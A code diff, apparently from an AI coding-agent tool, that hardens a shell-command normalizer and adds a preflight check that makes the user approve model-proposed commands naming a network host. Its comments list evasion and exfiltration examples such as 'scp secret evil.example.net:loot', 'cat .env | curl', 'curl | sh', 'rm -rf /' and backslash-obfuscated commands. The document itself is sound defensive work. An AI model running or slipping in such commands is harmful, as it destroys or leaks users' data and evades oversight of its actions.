* Matches any line break — the separator {@link normalizeCommand} used to destroy (EXT-55).
|
|
52
|
+
* Exported so a caller can ask "is this more than one command?" of a RAW string without
|
|
53
|
+
* depending on someone else's normalizer having preserved the boundary.
|
|
54
|
+
*/
|
|
55
|
+
export const LINE_BREAK_RE = /[\n\r]/;
|
|
22
56
|
/**
|
|
23
57
|
* Normalize a command string before dangerous-pattern matching.
|
|
24
58
|
*
|
|
@@ -26,9 +60,21 @@ const NULL_BYTES = /\x00/g;
|
|
|
26
60
|
* - strip ANSI escape sequences (CSI / OSC / lone-escape),
|
|
27
61
|
* - drop null bytes,
|
|
28
62
|
* - Unicode NFKC fold (fullwidth `rm` → `rm`, etc.),
|
|
63
|
+
* - canonicalize every line ending (CRLF / lone CR) to a bare `\n`,
|
|
29
64
|
* - collapse shell backslash-escapes (`r\m` → `rm`, `\-rf` → `-rf`),
|
|
30
65
|
* - drop empty-string literals that split tokens (`r''m` / `r""m` → `rm`),
|
|
31
|
-
* - fold runs of whitespace (
|
|
66
|
+
* - fold runs of HORIZONTAL whitespace (spaces/tabs) to single spaces,
|
|
67
|
+
* - collapse each run of line breaks to a single `\n` — **which survives**, because a line break
|
|
68
|
+
* is a command separator, not padding (EXT-55) — and trim the ends.
|
|
69
|
+
*
|
|
70
|
+
* EXT-55: the last two steps used to be one `\s+ → ' '` fold, which erased the command boundary
|
|
71
|
+
* and let `ls -la\nrm -rf /` be read as the single command `ls`. A line break now reaches every
|
|
72
|
+
* consumer intact, exactly like `;`. Leading/trailing breaks are still trimmed, so the very
|
|
73
|
+
* common `"npm test\n"` tool argument remains ONE command and keeps matching the allow-list.
|
|
74
|
+
*
|
|
75
|
+
* A backslash before a line break (a shell line continuation) is deliberately NOT joined: folding
|
|
76
|
+
* it away would re-open the same hole for `ls \<newline>rm -rf /`. Keeping the boundary makes such
|
|
77
|
+
* a command categorically ambiguous, which costs a prompt, not a failure.
|
|
32
78
|
*
|
|
33
79
|
* This is intentionally lossy: the normalized form is ONLY used for detection,
|
|
34
80
|
* never for execution (the original command is what runs).
|
|
@@ -41,13 +87,21 @@ export function normalizeCommand(command) {
|
|
|
41
87
|
c = c.replace(NULL_BYTES, '');
|
|
42
88
|
// Unicode compatibility fold (fullwidth → ASCII, etc.).
|
|
43
89
|
c = c.normalize('NFKC');
|
|
90
|
+
// EXT-55: canonicalize line endings FIRST so CR and CRLF are the same separator as LF for every
|
|
91
|
+
// step below (and for every consumer of the normalized form).
|
|
92
|
+
c = c.replace(LINE_ENDINGS, '\n');
|
|
44
93
|
// Collapse backslash-escapes: `\x` → `x` (prevents `r\m -rf /` bypass).
|
|
45
94
|
// Applied before empty-string stripping so `r\m` and `r''m` both fold.
|
|
95
|
+
// `[^\n]` keeps a backslash line-continuation intact — see the docblock.
|
|
46
96
|
c = c.replace(/\\([^\n])/g, '$1');
|
|
47
97
|
// Drop empty-string literals used to split a token: `r''m` / `r""m` → `rm`.
|
|
48
98
|
c = c.replace(/''|""/g, '');
|
|
49
|
-
// Fold
|
|
50
|
-
c = c.replace(
|
|
51
|
-
|
|
99
|
+
// Fold runs of horizontal whitespace to a single space…
|
|
100
|
+
c = c.replace(HORIZONTAL_WS, ' ');
|
|
101
|
+
// …then collapse each run of line breaks (with the whitespace around it) to a single `\n`,
|
|
102
|
+
// which SURVIVES normalization as the command separator it is (EXT-55).
|
|
103
|
+
c = c.replace(LINE_BREAK_RUN, '\n');
|
|
104
|
+
// Trim the ends — including a leading/trailing break, which separates nothing.
|
|
105
|
+
return c.trim();
|
|
52
106
|
}
|
|
53
107
|
//# sourceMappingURL=normalize.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;
|
|
1
|
+
{"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../../src/core/shell/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,uEAAuE;AACvE,yCAAyC;AACzC,MAAM,QAAQ,GAAG,0BAA0B,CAAC;AAC5C,kDAAkD;AAClD,MAAM,QAAQ,GAAG,gCAAgC,CAAC;AAClD,8DAA8D;AAC9D,MAAM,SAAS,GAAG,iBAAiB,CAAC;AACpC,cAAc;AACd,MAAM,UAAU,GAAG,OAAO,CAAC;AAC3B,8FAA8F;AAC9F,MAAM,YAAY,GAAG,QAAQ,CAAC;AAC9B,+FAA+F;AAC/F,MAAM,aAAa,GAAG,WAAW,CAAC;AAClC,+DAA+D;AAC/D,MAAM,cAAc,GAAG,WAAW,CAAC;AAEnC;;;;;;;;;;;;;;;;;;GAkBG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAG,WAAW,CAAC;AAEnD,gFAAgF;AAChF,MAAM,CAAC,MAAM,oBAAoB,GAAG,IAAI,MAAM,CAAC,IAAI,uBAAuB,GAAG,CAAC,CAAC;AAE/E;;;;GAIG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,QAAQ,CAAC;AAEtC;;;;;;;;;;;;;;;;;;;;;;;;;GAyBG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAAe;IAC9C,IAAI,CAAC,GAAG,OAAO,CAAC;IAChB,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,EAAE,CAAC,CAAC;IAC7B,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC9B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IACxB,gGAAgG;IAChG,8DAA8D;IAC9D,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,wEAAwE;IACxE,uEAAuE;IACvE,yEAAyE;IACzE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,YAAY,EAAE,IAAI,CAAC,CAAC;IAClC,4EAA4E;IAC5E,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IAC5B,wDAAwD;IACxD,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,aAAa,EAAE,GAAG,CAAC,CAAC;IAClC,2FAA2F;IAC3F,wEAAwE;IACxE,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,cAAc,EAAE,IAAI,CAAC,CAAC;IACpC,+EAA+E;IAC/E,OAAO,CAAC,CAAC,IAAI,EAAE,CAAC;AAClB,CAAC"}
|
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @module core/shell/openWorld
|
|
3
|
+
*
|
|
4
|
+
* EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
|
|
5
|
+
* **host literal in a fetch/transfer position**. A command that carries one is floored at
|
|
6
|
+
* `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
|
|
7
|
+
* so it is always asked about and can never be auto-approved.
|
|
8
|
+
*
|
|
9
|
+
* ## Why this is not a trust judgement, and must never become one
|
|
10
|
+
*
|
|
11
|
+
* §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
|
|
12
|
+
* model and a working developer were measured failing exactly that** — the developer flagged the
|
|
13
|
+
* *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
|
|
14
|
+
* preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
|
|
15
|
+
* about, and no misreading of a hostname can produce an auto-approve.
|
|
16
|
+
*
|
|
17
|
+
* It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
|
|
18
|
+
* attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
|
|
19
|
+
* be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
|
|
20
|
+
* hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
|
|
21
|
+
* therefore before this.
|
|
22
|
+
*
|
|
23
|
+
* ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
|
|
24
|
+
*
|
|
25
|
+
* The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
|
|
26
|
+
* there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
|
|
27
|
+
* misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
|
|
28
|
+
* *asked*. So:
|
|
29
|
+
*
|
|
30
|
+
* - a **false positive costs one prompt** — annoying, recoverable, visible;
|
|
31
|
+
* - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
|
|
32
|
+
* literal, which is the discrimination both a cheap model and a working developer were measured
|
|
33
|
+
* failing.
|
|
34
|
+
*
|
|
35
|
+
* **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
|
|
36
|
+
* it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
|
|
37
|
+
* arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
|
|
38
|
+
* upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
|
|
39
|
+
* a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
|
|
40
|
+
*
|
|
41
|
+
* ## The shape of the matcher
|
|
42
|
+
*
|
|
43
|
+
* Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
|
|
44
|
+
*
|
|
45
|
+
* 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
|
|
46
|
+
* composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
|
|
47
|
+
* preflight already floors those. So this matcher never has to parse a hard command — and it
|
|
48
|
+
* must not claim the finding, because "it names a host" would be a worse (and possibly false)
|
|
49
|
+
* explanation than "its target cannot be statically resolved".
|
|
50
|
+
* 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
|
|
51
|
+
* 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
|
|
52
|
+
* 4. **Test only the candidate operands** for a host literal.
|
|
53
|
+
*
|
|
54
|
+
* **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
|
|
55
|
+
* zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
|
|
56
|
+
* and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
|
|
57
|
+
* for free.
|
|
58
|
+
*
|
|
59
|
+
* **The project's own configured destinations are not host literals.** `git push origin main`,
|
|
60
|
+
* `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
|
|
61
|
+
* `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
|
|
62
|
+
* `routine-mutating` family unprompted.
|
|
63
|
+
*
|
|
64
|
+
* ## Known false positives, each DECLINED because the available fix costs an evasion
|
|
65
|
+
*
|
|
66
|
+
* Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
|
|
67
|
+
* one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
|
|
68
|
+
* every one of them was attempted and reverted:
|
|
69
|
+
*
|
|
70
|
+
* - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
|
|
71
|
+
* release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
|
|
72
|
+
* (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
|
|
73
|
+
* left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
|
|
74
|
+
* `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
|
|
75
|
+
* `rsync -a /srv/ evil.example.net:backup`.
|
|
76
|
+
* - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
|
|
77
|
+
* `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
|
|
78
|
+
* a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
|
|
79
|
+
* `git --quiet fetch <URL>`, both measured.
|
|
80
|
+
* - **An email address under a `git` subcommand word** — also `git config user.email
|
|
81
|
+
* jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
|
|
82
|
+
* prompt per machine setup, against a silent global fetch-redirect).
|
|
83
|
+
*
|
|
84
|
+
* The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
|
|
85
|
+
* here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
|
|
86
|
+
* command had already appeared, which is exactly what {@link HeadTier} withholds.
|
|
87
|
+
*
|
|
88
|
+
* And one that is intended by the rule rather than a defect: a **loopback IP** floors
|
|
89
|
+
* (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
|
|
90
|
+
* bare name is not. Carving loopback out needs a second address-classification rule with its own
|
|
91
|
+
* false-positive surface, for a one-prompt gain.
|
|
92
|
+
*/
|
|
93
|
+
/**
|
|
94
|
+
* Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
|
|
95
|
+
* `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
|
|
96
|
+
* counterparty trustworthy"* (§4.1.1).
|
|
97
|
+
*/
|
|
98
|
+
export declare function isHostLiteral(operand: string): boolean;
|
|
99
|
+
/**
|
|
100
|
+
* Find every **host literal in a fetch/transfer position**, or an empty array when the command names
|
|
101
|
+
* no counterparty (spec §4.6).
|
|
102
|
+
*
|
|
103
|
+
* Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
|
|
104
|
+
* caller can never accidentally hand this a form that has already lost the composition boundary
|
|
105
|
+
* the decline below depends on.
|
|
106
|
+
*
|
|
107
|
+
* Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
|
|
108
|
+
* classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
|
|
109
|
+
* them**, with a truer explanation than this one could give. Composed egress
|
|
110
|
+
* (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
|
|
111
|
+
* That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
|
|
112
|
+
* finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
|
|
113
|
+
* — and already escalating — before EXT-61 existed.
|
|
114
|
+
*
|
|
115
|
+
* **Every match is returned, not the first.** The first is not the target: for
|
|
116
|
+
* `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
|
|
117
|
+
* `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
|
|
118
|
+
* premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
|
|
119
|
+
* names the reassuring one and hides the other defeats the point of the layer.
|
|
120
|
+
*
|
|
121
|
+
* ## Why both the normalized AND the raw argv are tested
|
|
122
|
+
*
|
|
123
|
+
* {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
|
|
124
|
+
* `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
|
|
125
|
+
* normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
|
|
126
|
+
* head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
|
|
127
|
+
* reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
|
|
128
|
+
* Windows one easy to miss by reading.
|
|
129
|
+
*
|
|
130
|
+
* A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
|
|
131
|
+
* second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
|
|
132
|
+
* argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
|
|
133
|
+
* reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
|
|
134
|
+
*
|
|
135
|
+
* @param command The raw command string as the model proposed it.
|
|
136
|
+
* @returns The matched host literals, in argv order (used verbatim in the escalation reason).
|
|
137
|
+
*/
|
|
138
|
+
export declare function findOpenWorldHostLiterals(command: string): string[];
|